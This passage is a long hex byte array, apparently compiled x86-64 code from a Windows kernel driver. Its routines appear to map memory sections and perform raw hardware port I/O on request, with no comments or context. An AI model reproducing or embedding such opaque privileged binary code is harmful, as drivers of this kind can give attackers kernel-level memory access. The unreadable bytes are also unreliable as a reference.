0x30, 0x48, 0x83, 0xC4, 0x20, - 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, - 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, - 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, - 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, - 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, - 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, - 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, - 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, - 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, - 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, - 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, - 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, - 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, - 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, - 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, - 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, - 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, - 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, - 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, - 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, - 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, - 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, - 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 0x49, - 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, - 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, - 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, - 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, - 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, - 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, - 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, - 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, - 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, - 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, - 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, - 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, - 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, - 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 0x08, 0x00, 0x00, 0x44, 0x8B, - 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, - 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, - 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, - 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, - 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, - 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, - 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, - 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, - 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, - 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, - 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 0x43, 0x2C, 0x0F, 0xB7, 0x45, - 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, - 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, - 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, - 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, - 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, - 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, - 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, - 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, - 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, - 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, - 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, - 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, - 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, - 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, - 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, - 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, - 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, - 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, - 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, - 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, - 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, - 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, - 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, - 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, - 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, - 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, - 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, - 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, - 0x8A, 0xD8, 0x41, 0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, - 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, - 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, - 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, - 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, - 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, - 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, - 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, - 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, - 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, - 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, - 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, - 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, - 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, - 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, - 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, - 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, - 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, - 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, - 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, - 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, - 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, - 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, - 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, - 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, - 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, - 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, - 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, - 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, - 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, - 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, - 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, - 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, - 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 0x4C, 0x8B, 0xC7, - 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, - 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, - 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, - 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, - 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, - 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, - 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, - 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, - 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, - 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, - 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, - 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, - 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, - 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, - 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, - 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, - 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, - 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, - 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, - 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, - 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, - 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, - 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, - 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, - 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, - 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, - 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, - 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, - 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, - 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, - 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, - 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, - 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, - 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, - 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, - 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, - 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, - 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, - 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, - 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, - 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, - 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, - 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, - 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, - 0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, - 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, - 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, - 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, - 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, - 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, - 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, - 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, - 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, - 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, - 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, - 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, - 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, - 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, - 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, - 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, - 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, - 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, - 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, - 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, - 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, - 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, - 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, - 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, - 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, - 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, - 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, - 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, - 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, - 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, - 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, - 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, - 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, - 0x20, 0x00, 0x48, 0x8B, 0xD1, 